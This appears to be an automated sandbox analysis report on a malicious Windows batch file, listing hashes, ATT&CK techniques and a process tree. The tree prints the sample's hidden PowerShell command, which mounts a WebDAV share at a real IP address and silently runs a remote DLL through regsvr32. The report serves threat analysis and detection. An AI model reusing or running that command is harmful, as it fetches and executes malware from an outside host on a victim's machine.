c41fccad093e06cb0f9d1543db49a5664abbb6dd594e28d2d7d379fd317fd15d

Analysis

max time kernel
121s
max time network
125s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
22/07/2024, 11:20

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General

Target

253022297547327242.bat
Size

12KB
MD5

0e569872c6807ebc80412222d89aac2b
SHA1

4961220d7b3e4dd28fcce7af2c7209a2c1364511
SHA256

c41fccad093e06cb0f9d1543db49a5664abbb6dd594e28d2d7d379fd317fd15d
SHA512

b6e7c4dc0523ce03ad9613d1662e47a53762c925ef4d7128dd125b6162cd90d4f4eae6bba89eb8f062ee1ef1c302e04bd5273a1375611692a9d17239c29c22a2
SSDEEP

192:ihJinjzEZX2JKHxne2ioNl7dG5c6/CjcJRo8elM6dBr:iTC0h20HxXjf7dGK6i0ofK6nr

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2612	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2612	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2612	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2744	wordpad.exe
2744	wordpad.exe
2744	wordpad.exe
2744	wordpad.exe
2744	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2784 wrote to memory of 2744	2784	cmd.exe	31
PID 2784 wrote to memory of 2744	2784	cmd.exe	31
PID 2784 wrote to memory of 2744	2784	cmd.exe	31
PID 2784 wrote to memory of 2612	2784	cmd.exe	32
PID 2784 wrote to memory of 2612	2784	cmd.exe	32
PID 2784 wrote to memory of 2612	2784	cmd.exe	32
PID 2612 wrote to memory of 2656	2612	powershell.exe	34
PID 2612 wrote to memory of 2656	2612	powershell.exe	34
PID 2612 wrote to memory of 2656	2612	powershell.exe	34
PID 2612 wrote to memory of 2556	2612	powershell.exe	35
PID 2612 wrote to memory of 2556	2612	powershell.exe	35
PID 2612 wrote to memory of 2556	2612	powershell.exe	35
PID 2612 wrote to memory of 2556	2612	powershell.exe	35
PID 2612 wrote to memory of 2556	2612	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\253022297547327242.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2784
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\24499452126408.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2656
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\24499452126408.dll
    3⤵
    PID:2556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2612-23-0x000000001B7B0000-0x000000001BA92000-memory.dmp

Filesize
2.9MB

Download
memory/2612-24-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download